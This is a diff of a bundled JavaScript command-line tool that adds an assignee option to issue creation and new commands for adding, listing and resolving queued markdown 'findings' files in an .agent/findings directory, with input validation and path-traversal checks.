+
const assignees = collectAssigneeArgs(rawArgs);
|
|
24584
|
+
const noAssignee = hasNegationFlag(rawArgs, "--no-assignee");
|
|
24585
|
+
if (assignees.length > 0 && noAssignee) throw new FatalError("--assignee and --no-assignee are contradictory -- pass only one.");
|
|
24586
|
+
if (noAssignee) return [];
|
|
24587
|
+
if (assignees.length > 0) return assignees;
|
|
24588
|
+
if (repo !== void 0) return [];
|
|
24589
|
+
return loadToolingConfig(cwd)?.issues?.assignees ?? [];
|
|
24590
|
+
}
|
|
24175
24591
|
const issueCreateCommand = defineCommand({
|
|
24176
24592
|
meta: {
|
|
24177
24593
|
name: "issue:create",
|
|
@@ -24199,6 +24615,10 @@ const issueCreateCommand = defineCommand({
|
|
|
24199
24615
|
type: "string",
|
|
24200
24616
|
description: "Repository URL (default: this repo)"
|
|
24201
24617
|
},
|
|
24618
|
+
assignee: {
|
|
24619
|
+
type: "string",
|
|
24620
|
+
description: "Assignee username (repeatable; --no-assignee opens the issue unassigned)"
|
|
24621
|
+
},
|
|
24202
24622
|
json: {
|
|
24203
24623
|
type: "boolean",
|
|
24204
24624
|
description: "Emit JSON on stdout"
|
|
@@ -24214,13 +24634,16 @@ const issueCreateCommand = defineCommand({
|
|
|
24214
24634
|
},
|
|
24215
24635
|
async run({ args, rawArgs }) {
|
|
24216
24636
|
const labels = collectLabelArgs(rawArgs);
|
|
24637
|
+
const repo = args.repo ?? void 0;
|
|
24638
|
+
const assignees = resolveIssueAssignees(rawArgs, repo, process.cwd());
|
|
24217
24639
|
const body = readBodySource(args.body ?? void 0, args["body-file"] ?? void 0) ?? "";
|
|
24218
24640
|
const result = await runIssueCreate(createRealExecutor$1(), {
|
|
24219
24641
|
cwd: process.cwd(),
|
|
24220
24642
|
title: args.title,
|
|
24221
24643
|
body,
|
|
24222
24644
|
labels,
|
|
24223
|
-
|
|
24645
|
+
assignees,
|
|
24646
|
+
repo,
|
|
24224
24647
|
dryRun: args["dry-run"] === true,
|
|
24225
24648
|
verbose: args.verbose === true || isEnvVerbose()
|
|
24226
24649
|
});
|
|
@@ -24229,7 +24652,8 @@ const issueCreateCommand = defineCommand({
|
|
|
24229
24652
|
return;
|
|
24230
24653
|
}
|
|
24231
24654
|
if (args["dry-run"] === true) {
|
|
24232
|
-
|
|
24655
|
+
const assignedSuffix = assignees.length > 0 ? ` assigned to ${assignees.join(", ")}` : "";
|
|
24656
|
+
log$1.info(`[dry-run] Would open an issue titled "${args.title}"${assignedSuffix}`);
|
|
24233
24657
|
return;
|
|
24234
24658
|
}
|
|
24235
24659
|
log$1.info(`Opened issue #${String(result.number)}`);
|
|
@@ -24890,6 +25314,397 @@ function defineIssueStateCommand(action) {
|
|
|
24890
25314
|
const issueCloseCommand = defineIssueStateCommand("close");
|
|
24891
25315
|
const issueReopenCommand = defineIssueStateCommand("reopen");
|
|
24892
25316
|
//#endregion
|
|
25317
|
+
//#region src/findings/format.ts
|
|
25318
|
+
/**
|
|
25319
|
+
* Where a repo's pending findings live, repo-relative.
|
|
25320
|
+
*
|
|
25321
|
+
* **Not under `docs/`**, deliberately: these are machine queue entries, and `docs:check`'s
|
|
25322
|
+
* lifecycle rules (status line, dated retirement, staleness) apply to documents. A finding filed
|
|
25323
|
+
* under `docs/` would fail a repo's own gate the moment it was written.
|
|
25324
|
+
*/
|
|
25325
|
+
const FINDINGS_DIR = ".agent/findings";
|
|
25326
|
+
/** The `YYYY-MM-DD` prefix of an ISO timestamp. */
|
|
25327
|
+
function dateOf(iso) {
|
|
25328
|
+
return iso.slice(0, 10);
|
|
25329
|
+
}
|
|
25330
|
+
/** Longest slug a title may produce. A file name is not where a finding's text belongs -- the
|
|
25331
|
+
* title is repeated verbatim as the file's own heading -- so this cuts presentation, not
|
|
25332
|
+
* information. */
|
|
25333
|
+
const MAX_SLUG_LENGTH = 60;
|
|
25334
|
+
/** What a title with nothing sluggable collapses to. An empty slug would produce a name
|
|
25335
|
+
* {@link parseFindingFileName} refuses to read back, which silently drops the finding from every
|
|
25336
|
+
* pending listing. */
|
|
25337
|
+
const SLUG_FALLBACK = "finding";
|
|
25338
|
+
function findingSlug(title) {
|
|
25339
|
+
const slug = title.toLowerCase().replaceAll(/[^a-z0-9]+/g, "-").replaceAll(/^-+|-+$/g, "").slice(0, MAX_SLUG_LENGTH).replaceAll(/-+$/g, "");
|
|
25340
|
+
return slug === "" ? SLUG_FALLBACK : slug;
|
|
25341
|
+
}
|
|
25342
|
+
const FINDING_NAME = /^(\d{4}-\d{2}-\d{2})-(pr|issue)(\d+)-([a-z0-9-]+)\.md$/;
|
|
25343
|
+
/**
|
|
25344
|
+
* Read a file name back into its parts, or `null` for a name this convention did not produce.
|
|
25345
|
+
*
|
|
25346
|
+
* `null` is the answer for every non-finding entry in the directory, not an error: the caller
|
|
25347
|
+
* lists a whole directory and needs "not one of ours" to be ordinary.
|
|
25348
|
+
*/
|
|
25349
|
+
function parseFindingFileName(name) {
|
|
25350
|
+
const match = FINDING_NAME.exec(name);
|
|
25351
|
+
if (!match) return null;
|
|
25352
|
+
const [, date, kind, number, slug] = match;
|
|
25353
|
+
if (date === void 0 || number === void 0 || slug === void 0) return null;
|
|
25354
|
+
if (kind !== "pr" && kind !== "issue") return null;
|
|
25355
|
+
return {
|
|
25356
|
+
date,
|
|
25357
|
+
origin: {
|
|
25358
|
+
kind,
|
|
25359
|
+
number: Number(number)
|
|
25360
|
+
},
|
|
25361
|
+
slug
|
|
25362
|
+
};
|
|
25363
|
+
}
|
|
25364
|
+
function isManual(provenance) {
|
|
25365
|
+
return provenance.phase === "manual";
|
|
25366
|
+
}
|
|
25367
|
+
/**
|
|
25368
|
+
* The finding's file: its title as a heading, the same provenance the issue body carries, then the
|
|
25369
|
+
* entry's own text verbatim.
|
|
25370
|
+
*
|
|
25371
|
+
* **No unverified-pending-triage banner**, which is the one thing this drops from the issue
|
|
25372
|
+
* composition it mirrors. The banner exists to tell a human reading an issue list that nothing has
|
|
25373
|
+
* checked this; the consuming run is told the same thing far more usefully by its own prompt's
|
|
25374
|
+
* verify-first rule, and a banner repeated across every file in a batch is noise the reader has
|
|
25375
|
+
* already been given.
|
|
25376
|
+
*
|
|
25377
|
+
* The entry's text goes in verbatim, not fenced -- a defect report needs its code blocks and paths
|
|
25378
|
+
* to render, and the containment here is the same as for the issue body: provenance framing plus
|
|
25379
|
+
* a human merging the pull request that acts on it.
|
|
25380
|
+
*
|
|
25381
|
+
* A `manual`-phase provenance renders a three-line header (`Class`, `Phase`, `Source PR/issue:
|
|
25382
|
+
* #<n>` with no URL parenthetical) and omits the `Pull request:` and `Transcript directory:`
|
|
25383
|
+
* lines entirely, rather than filling them with uniform `none --` text: for every input a
|
|
25384
|
+
* container run produces today, the composed bytes are unchanged.
|
|
25385
|
+
*/
|
|
25386
|
+
function composeFindingFile(entry, provenance) {
|
|
25387
|
+
const sourceLabel = provenance.sourceKind === "pr" ? "PR" : "issue";
|
|
25388
|
+
const lines = [
|
|
25389
|
+
`# ${entry.title}`,
|
|
25390
|
+
"",
|
|
25391
|
+
`- Class: ${entry.class}`,
|
|
25392
|
+
`- Phase: ${provenance.phase}`
|
|
25393
|
+
];
|
|
25394
|
+
if (isManual(provenance)) lines.push(`- Source ${sourceLabel}: #${String(provenance.sourceIssueNumber)}`);
|
|
25395
|
+
else lines.push(`- Source ${sourceLabel}: #${String(provenance.sourceIssueNumber)} (${provenance.sourceIssueUrl})`, `- Pull request: ${provenance.prUrl ?? "none -- the run produced no commits"}`, `- Transcript directory: ${provenance.transcriptDir}`);
|
|
25396
|
+
lines.push("", entry.body);
|
|
25397
|
+
return lines.join("\n") + "\n";
|
|
25398
|
+
}
|
|
25399
|
+
/**
|
|
25400
|
+
* How many sweep deferrals a finding's body records: lines opening with the `**Deferred` marker
|
|
25401
|
+
* the backlog run appends. Line-anchored, so the word mid-prose or a marker inside a `> `-quoted
|
|
25402
|
+
* block never counts.
|
|
25403
|
+
*/
|
|
25404
|
+
function countDeferralNotes(content) {
|
|
25405
|
+
return content.split(/\r?\n/).filter((line) => line.startsWith("**Deferred")).length;
|
|
25406
|
+
}
|
|
25407
|
+
//#endregion
|
|
25408
|
+
//#region src/commands/findings-add.ts
|
|
25409
|
+
const SOURCE_RE = /^(pr|issue)#(\d+)$/;
|
|
25410
|
+
const ALLOWED_CLASSES = ["nit", "pre-existing"];
|
|
25411
|
+
function parseSource(source) {
|
|
25412
|
+
const match = SOURCE_RE.exec(source);
|
|
25413
|
+
const kind = match?.[1];
|
|
25414
|
+
const number = match?.[2];
|
|
25415
|
+
if (kind === void 0 || number === void 0 || kind !== "pr" && kind !== "issue") throw new FatalError(`findings:add: --source must look like pr#<n> or issue#<n>, got: "${source}"`);
|
|
25416
|
+
return {
|
|
25417
|
+
kind,
|
|
25418
|
+
number: Number(number)
|
|
25419
|
+
};
|
|
25420
|
+
}
|
|
25421
|
+
/** `human-decision` is refused with its own message: that routing (an
|
|
25422
|
+
* `agent-note/human-triage-needed` issue) belongs to the agent's filing path, not the ledger --
|
|
25423
|
+
* see the design spec's non-goals. */
|
|
25424
|
+
function validateClass(cls) {
|
|
25425
|
+
if (cls === "human-decision") throw new FatalError("findings:add: class human-decision does not go in the ledger -- file an issue instead (a human-decision finding needs a human triaging it, not a queued file).");
|
|
25426
|
+
if (cls === "nit" || cls === "pre-existing") return cls;
|
|
25427
|
+
throw new FatalError(`findings:add: --class must be one of ${ALLOWED_CLASSES.join(", ")}, got: "${cls}"`);
|
|
25428
|
+
}
|
|
25429
|
+
/**
|
|
25430
|
+
* The testable core of `findings:add`: correct-by-construction authoring against the shared
|
|
25431
|
+
* grammar in `findings/format.ts`. Working-tree only -- no git, no forge -- so a caller supplies
|
|
25432
|
+
* `rootDir` and gets back exactly what was (or, under `--dry-run`, would have been) written.
|
|
25433
|
+
*/
|
|
25434
|
+
function runFindingsAdd(rootDir, opts) {
|
|
25435
|
+
const origin = parseSource(opts.source);
|
|
25436
|
+
const cls = validateClass(opts.class);
|
|
25437
|
+
const date = dateOf((/* @__PURE__ */ new Date()).toISOString());
|
|
25438
|
+
const fileName = `${date}-${origin.kind}${String(origin.number)}-${findingSlug(opts.title)}.md`;
|
|
25439
|
+
const roundTrip = parseFindingFileName(fileName);
|
|
25440
|
+
if (roundTrip === null || roundTrip.date !== date || roundTrip.origin.kind !== origin.kind || roundTrip.origin.number !== origin.number) throw new FatalError(`findings:add: internal error -- generated filename "${fileName}" did not round-trip`);
|
|
25441
|
+
const relativePath = `${FINDINGS_DIR}/${fileName}`;
|
|
25442
|
+
const fullPath = path.join(rootDir, relativePath);
|
|
25443
|
+
if (existsSync(fullPath)) throw new FatalError(`findings:add: refusing to overwrite an existing finding: ${relativePath}`);
|
|
25444
|
+
const ledgerDir = path.join(rootDir, FINDINGS_DIR);
|
|
25445
|
+
const createdLedgerDir = !existsSync(ledgerDir) || !statSync(ledgerDir).isDirectory();
|
|
25446
|
+
const content = composeFindingFile({
|
|
25447
|
+
title: opts.title,
|
|
25448
|
+
class: cls,
|
|
25449
|
+
body: opts.body
|
|
25450
|
+
}, {
|
|
25451
|
+
phase: "manual",
|
|
25452
|
+
sourceKind: origin.kind,
|
|
25453
|
+
sourceIssueNumber: origin.number,
|
|
25454
|
+
sourceIssueUrl: null
|
|
25455
|
+
});
|
|
25456
|
+
if (!opts.dryRun) {
|
|
25457
|
+
mkdirSync(ledgerDir, { recursive: true });
|
|
25458
|
+
writeFileSync(fullPath, content, "utf-8");
|
|
25459
|
+
}
|
|
25460
|
+
return {
|
|
25461
|
+
ok: true,
|
|
25462
|
+
path: relativePath,
|
|
25463
|
+
title: opts.title,
|
|
25464
|
+
class: cls,
|
|
25465
|
+
origin,
|
|
25466
|
+
createdLedgerDir,
|
|
25467
|
+
dryRun: opts.dryRun
|
|
25468
|
+
};
|
|
25469
|
+
}
|
|
25470
|
+
/** The finding's body: `--body-file`, or stdin when it is absent -- unlike `--body`/`--body-file`
|
|
25471
|
+
* pairs elsewhere in this CLI, `findings:add` has no `--body` flag at all, so an absent
|
|
25472
|
+
* `--body-file` becomes the explicit stdin path (`-`) `readBodySource` already handles. Refuses
|
|
25473
|
+
* outright when stdin is a TTY: with no `--body-file`, an interactive terminal would otherwise
|
|
25474
|
+
* block reading a body no one is piping in. */
|
|
25475
|
+
function resolveBody(bodyFile) {
|
|
25476
|
+
if (bodyFile === void 0 && process.stdin.isTTY === true) throw new FatalError("findings:add: refusing to read a finding body from an interactive terminal -- pass --body-file, or pipe the body in on stdin.");
|
|
25477
|
+
const body = readBodySource(void 0, bodyFile ?? "-", { flags: {
|
|
25478
|
+
text: "--body",
|
|
25479
|
+
file: "--body-file"
|
|
25480
|
+
} });
|
|
25481
|
+
if (body === void 0) throw new FatalError("findings:add: internal error -- body resolved to undefined");
|
|
25482
|
+
return body;
|
|
25483
|
+
}
|
|
25484
|
+
const findingsAddCommand = defineCommand({
|
|
25485
|
+
meta: {
|
|
25486
|
+
name: "findings:add",
|
|
25487
|
+
description: "Author one finding into .agent/findings/, correct-by-construction. bst findings:add --class <nit|pre-existing> --source <pr|issue>#<n> --title <t>."
|
|
25488
|
+
},
|
|
25489
|
+
args: {
|
|
25490
|
+
class: {
|
|
25491
|
+
type: "string",
|
|
25492
|
+
required: true,
|
|
25493
|
+
description: "nit | pre-existing"
|
|
25494
|
+
},
|
|
25495
|
+
source: {
|
|
25496
|
+
type: "string",
|
|
25497
|
+
required: true,
|
|
25498
|
+
description: "The PR/issue that surfaced this finding: pr#<n> | issue#<n>"
|
|
25499
|
+
},
|
|
25500
|
+
title: {
|
|
25501
|
+
type: "string",
|
|
25502
|
+
required: true,
|
|
25503
|
+
description: "The finding's title"
|
|
25504
|
+
},
|
|
25505
|
+
"body-file": {
|
|
25506
|
+
type: "string",
|
|
25507
|
+
description: "Read the finding's body from this file (default: stdin)"
|
|
25508
|
+
},
|
|
25509
|
+
"dry-run": {
|
|
25510
|
+
type: "boolean",
|
|
25511
|
+
description: "Print the planned path without writing"
|
|
25512
|
+
},
|
|
25513
|
+
json: {
|
|
25514
|
+
type: "boolean",
|
|
25515
|
+
description: "Emit JSON on stdout"
|
|
25516
|
+
}
|
|
25517
|
+
},
|
|
25518
|
+
run({ args }) {
|
|
25519
|
+
const dryRun = args["dry-run"] === true;
|
|
25520
|
+
const body = dryRun && args["body-file"] === void 0 ? "" : resolveBody(args["body-file"]);
|
|
25521
|
+
const result = runFindingsAdd(process.cwd(), {
|
|
25522
|
+
class: args.class,
|
|
25523
|
+
source: args.source,
|
|
25524
|
+
title: args.title,
|
|
25525
|
+
body,
|
|
25526
|
+
dryRun
|
|
25527
|
+
});
|
|
25528
|
+
const out = createCliOutput(args.json === true);
|
|
25529
|
+
out.json(result);
|
|
25530
|
+
if (result.dryRun) {
|
|
25531
|
+
out.text(`[dry-run] Would write ${result.path}`);
|
|
25532
|
+
return;
|
|
25533
|
+
}
|
|
25534
|
+
out.text(`Wrote ${result.path}`);
|
|
25535
|
+
if (result.createdLedgerDir) out.notice(`Created ${FINDINGS_DIR}/ -- the backlog sweep is now armed for this repo.`);
|
|
25536
|
+
}
|
|
25537
|
+
});
|
|
25538
|
+
//#endregion
|
|
25539
|
+
//#region src/commands/findings-list.ts
|
|
25540
|
+
const MS_PER_DAY = 1440 * 60 * 1e3;
|
|
25541
|
+
const TITLE_RE = /^#\s+(.+)$/m;
|
|
25542
|
+
const CLASS_RE = /^-\s*Class:\s*(.+)$/m;
|
|
25543
|
+
/** Reads a finding's `# ` heading, `- Class:` line, and deferral count for the listing.
|
|
25544
|
+
* Tolerant: a body that does not match the shape this ledger writes degrades to nulls -- a
|
|
25545
|
+
* listing must never throw on a hand-edited or malformed file, only report what it could read. */
|
|
25546
|
+
function readFindingSummary(fullPath) {
|
|
25547
|
+
let body;
|
|
25548
|
+
try {
|
|
25549
|
+
body = readFileSync(fullPath, "utf-8");
|
|
25550
|
+
} catch {
|
|
25551
|
+
return {
|
|
25552
|
+
title: null,
|
|
25553
|
+
class: null,
|
|
25554
|
+
deferrals: 0
|
|
25555
|
+
};
|
|
25556
|
+
}
|
|
25557
|
+
return {
|
|
25558
|
+
title: TITLE_RE.exec(body)?.[1]?.trim() ?? null,
|
|
25559
|
+
class: CLASS_RE.exec(body)?.[1]?.trim() ?? null,
|
|
25560
|
+
deferrals: countDeferralNotes(body)
|
|
25561
|
+
};
|
|
25562
|
+
}
|
|
25563
|
+
function ageInDays(date) {
|
|
25564
|
+
const filed = Date.parse(`${date}T00:00:00Z`);
|
|
25565
|
+
if (Number.isNaN(filed)) return 0;
|
|
25566
|
+
return Math.max(0, Math.floor((Date.now() - filed) / MS_PER_DAY));
|
|
25567
|
+
}
|
|
25568
|
+
/**
|
|
25569
|
+
* The testable core of `findings:list`: the pending set as the backlog sweep would see it, plus
|
|
25570
|
+
* every non-parsing name reported as a stray. Working-tree only -- a caller supplies `rootDir`.
|
|
25571
|
+
*/
|
|
25572
|
+
function runFindingsList(rootDir) {
|
|
25573
|
+
const ledgerDir = path.join(rootDir, FINDINGS_DIR);
|
|
25574
|
+
if (!existsSync(ledgerDir) || !statSync(ledgerDir).isDirectory()) return {
|
|
25575
|
+
ok: true,
|
|
25576
|
+
entries: [],
|
|
25577
|
+
strays: []
|
|
25578
|
+
};
|
|
25579
|
+
const entries = [];
|
|
25580
|
+
const strays = [];
|
|
25581
|
+
for (const name of readdirSync(ledgerDir).toSorted()) {
|
|
25582
|
+
const parsed = parseFindingFileName(name);
|
|
25583
|
+
if (parsed === null) {
|
|
25584
|
+
strays.push(name);
|
|
25585
|
+
continue;
|
|
25586
|
+
}
|
|
25587
|
+
const summary = readFindingSummary(path.join(ledgerDir, name));
|
|
25588
|
+
entries.push({
|
|
25589
|
+
file: name,
|
|
25590
|
+
date: parsed.date,
|
|
25591
|
+
origin: parsed.origin,
|
|
25592
|
+
class: summary.class,
|
|
25593
|
+
title: summary.title,
|
|
25594
|
+
ageDays: ageInDays(parsed.date),
|
|
25595
|
+
deferrals: summary.deferrals
|
|
25596
|
+
});
|
|
25597
|
+
}
|
|
25598
|
+
return {
|
|
25599
|
+
ok: true,
|
|
25600
|
+
entries,
|
|
25601
|
+
strays
|
|
25602
|
+
};
|
|
25603
|
+
}
|
|
25604
|
+
function renderText(result) {
|
|
25605
|
+
const lines = [];
|
|
25606
|
+
if (result.entries.length === 0 && result.strays.length === 0) lines.push("No pending findings.");
|
|
25607
|
+
for (const entry of result.entries) {
|
|
25608
|
+
const deferred = entry.deferrals > 0 ? ` (deferred ${String(entry.deferrals)}x)` : "";
|
|
25609
|
+
lines.push(`${entry.file} [${entry.class ?? "?"}] ${entry.title ?? "(untitled)"} (${String(entry.ageDays)}d)${deferred}`);
|
|
25610
|
+
}
|
|
25611
|
+
for (const stray of result.strays) lines.push(`STRAY (does not parse, silently invisible to the backlog sweep): ${stray}`);
|
|
25612
|
+
return lines.join("\n");
|
|
25613
|
+
}
|
|
25614
|
+
const findingsListCommand = defineCommand({
|
|
25615
|
+
meta: {
|
|
25616
|
+
name: "findings:list",
|
|
25617
|
+
description: "List the pending findings in .agent/findings/, plus any strays."
|
|
25618
|
+
},
|
|
25619
|
+
args: { json: {
|
|
25620
|
+
type: "boolean",
|
|
25621
|
+
description: "Emit JSON on stdout"
|
|
25622
|
+
} },
|
|
25623
|
+
run({ args }) {
|
|
25624
|
+
const result = runFindingsList(process.cwd());
|
|
25625
|
+
const out = createCliOutput(args.json === true);
|
|
25626
|
+
out.json(result);
|
|
25627
|
+
out.text(renderText(result));
|
|
25628
|
+
}
|
|
25629
|
+
});
|
|
25630
|
+
//#endregion
|
|
25631
|
+
//#region src/commands/findings-resolve.ts
|
|
25632
|
+
/** A bare filename resolves under {@link FINDINGS_DIR}; a name that already contains a
|
|
25633
|
+
* separator is treated as a repo-relative path. Either way the result must stay inside the
|
|
25634
|
+
* ledger directory -- no `../` out of it. */
|
|
25635
|
+
function resolveFindingPath(rootDir, name) {
|
|
25636
|
+
const ledgerDir = path.join(rootDir, FINDINGS_DIR);
|
|
25637
|
+
const relative = name.includes("/") ? name : `${FINDINGS_DIR}/${name}`;
|
|
25638
|
+
const fullPath = path.resolve(rootDir, relative);
|
|
25639
|
+
const relativeToLedger = path.relative(ledgerDir, fullPath);
|
|
25640
|
+
if (relativeToLedger.startsWith("..") || path.isAbsolute(relativeToLedger)) throw new FatalError(`findings:resolve: refuses a name outside ${FINDINGS_DIR}/: ${name}`);
|
|
25641
|
+
return fullPath;
|
|
25642
|
+
}
|
|
25643
|
+
/**
|
|
25644
|
+
* The testable core of `findings:resolve`: delete the named finding files, or -- under
|
|
25645
|
+
* `--defer` -- append a note to each instead. Validates every name before acting on any, so a
|
|
25646
|
+
* bad name in a batch deletes nothing rather than half of it.
|
|
25647
|
+
*/
|
|
25648
|
+
function runFindingsResolve(rootDir, names, opts) {
|
|
25649
|
+
if (names.length === 0) throw new FatalError("findings:resolve: at least one finding file is required");
|
|
25650
|
+
const resolved = names.map((name) => ({
|
|
25651
|
+
name,
|
|
25652
|
+
fullPath: resolveFindingPath(rootDir, name)
|
|
25653
|
+
}));
|
|
25654
|
+
const missing = resolved.filter(({ fullPath }) => !existsSync(fullPath)).map(({ name }) => name);
|
|
25655
|
+
if (missing.length > 0) throw new FatalError(`findings:resolve: no such finding file(s): ${missing.join(", ")}`);
|
|
25656
|
+
const files = resolved.map(({ fullPath }) => path.relative(rootDir, fullPath));
|
|
25657
|
+
const action = opts.defer === void 0 ? "delete" : "defer";
|
|
25658
|
+
if (opts.dryRun) return {
|
|
25659
|
+
ok: true,
|
|
25660
|
+
action,
|
|
25661
|
+
dryRun: true,
|
|
25662
|
+
files
|
|
25663
|
+
};
|
|
25664
|
+
if (opts.defer !== void 0) {
|
|
25665
|
+
const today = dateOf((/* @__PURE__ */ new Date()).toISOString());
|
|
25666
|
+
for (const { fullPath } of resolved) writeFileSync(fullPath, `${readFileSync(fullPath, "utf-8")}\n**Deferred (${today}):** ${opts.defer}\n`);
|
|
25667
|
+
} else for (const { fullPath } of resolved) rmSync(fullPath);
|
|
25668
|
+
return {
|
|
25669
|
+
ok: true,
|
|
25670
|
+
action,
|
|
25671
|
+
dryRun: false,
|
|
25672
|
+
files
|
|
25673
|
+
};
|
|
25674
|
+
}
|
|
25675
|
+
const findingsResolveCommand = defineCommand({
|
|
25676
|
+
meta: {
|
|
25677
|
+
name: "findings:resolve",
|
|
25678
|
+
description: "Delete finding file(s) from .agent/findings/, or --defer to append a note instead. bst findings:resolve <name>... [--defer <note>]."
|
|
25679
|
+
},
|
|
25680
|
+
args: {
|
|
25681
|
+
defer: {
|
|
25682
|
+
type: "string",
|
|
25683
|
+
description: "Append a deferred note instead of deleting"
|
|
25684
|
+
},
|
|
25685
|
+
"dry-run": {
|
|
25686
|
+
type: "boolean",
|
|
25687
|
+
description: "Preview the action without writing"
|
|
25688
|
+
},
|
|
25689
|
+
json: {
|
|
25690
|
+
type: "boolean",
|
|
25691
|
+
description: "Emit JSON on stdout"
|
|
25692
|
+
}
|
|
25693
|
+
},
|
|
25694
|
+
run({ args }) {
|
|
25695
|
+
const result = runFindingsResolve(process.cwd(), args._, {
|
|
25696
|
+
defer: args.defer,
|
|
25697
|
+
dryRun: args["dry-run"] === true
|
|
25698
|
+
});
|
|
25699
|
+
const out = createCliOutput(args.json === true);
|
|
25700
|
+
out.json(result);
|
|
25701
|
+
let verb;
|
|
25702
|
+
if (result.dryRun) verb = result.action === "defer" ? "Would defer" : "Would delete";
|
|
25703
|
+
else verb = result.action === "defer" ? "Deferred" : "Deleted";
|
|
25704
|
+
for (const file of result.files) out.text(`${verb} ${file}`);
|
|
25705
|
+
}
|
|
25706
|
+
});
|
|
25707
|
+
//#endregion
|
|
24893
25708
|
//#region src/cli-main.ts
|
|
24894
25709
|
setLogLevel(resolveLogLevel({}));
|
|
24895
25710
|
setForgejoLogger(log$1);
|
|
@@ -24898,7 +25713,7 @@ setForgejoLogger(log$1);
|
|
|
24898
25713
|
* `local <sha>[-dirty]` otherwise -- so an artifact built from the working tree
|
|
24899
25714
|
* can't pass itself off as the published release whose version it carries.
|
|
24900
25715
|
*/
|
|
24901
|
-
const displayVersion = "0.
|
|
25716
|
+
const displayVersion = "0.74.0";
|
|
24902
25717
|
/**
|
|
24903
25718
|
* Wait until a stream's internally-buffered data has been flushed to the OS.
|
|
24904
25719
|
*
|
|
@@ -24993,7 +25808,10 @@ const bstSubCommands = {
|
|
|
24993
25808
|
"issue:unlabel": issueUnlabelCommand,
|
|
24994
25809
|
"issue:set-labels": issueSetLabelsCommand,
|
|
24995
25810
|
"issue:close": issueCloseCommand,
|
|
24996
|
-
"issue:reopen": issueReopenCommand
|
|
25811
|
+
"issue:reopen": issueReopenCommand,
|
|
25812
|
+
"findings:add": findingsAddCommand,
|
|
25813
|
+
"findings:list": findingsListCommand,
|
|
25814
|
+
"findings:resolve": findingsResolveCommand
|
|
24997
25815
|
};
|
|
24998
25816
|
/**
|
|
24999
25817
|
* Build and run the bst CLI. The agent's own entry registers its commands on top via
|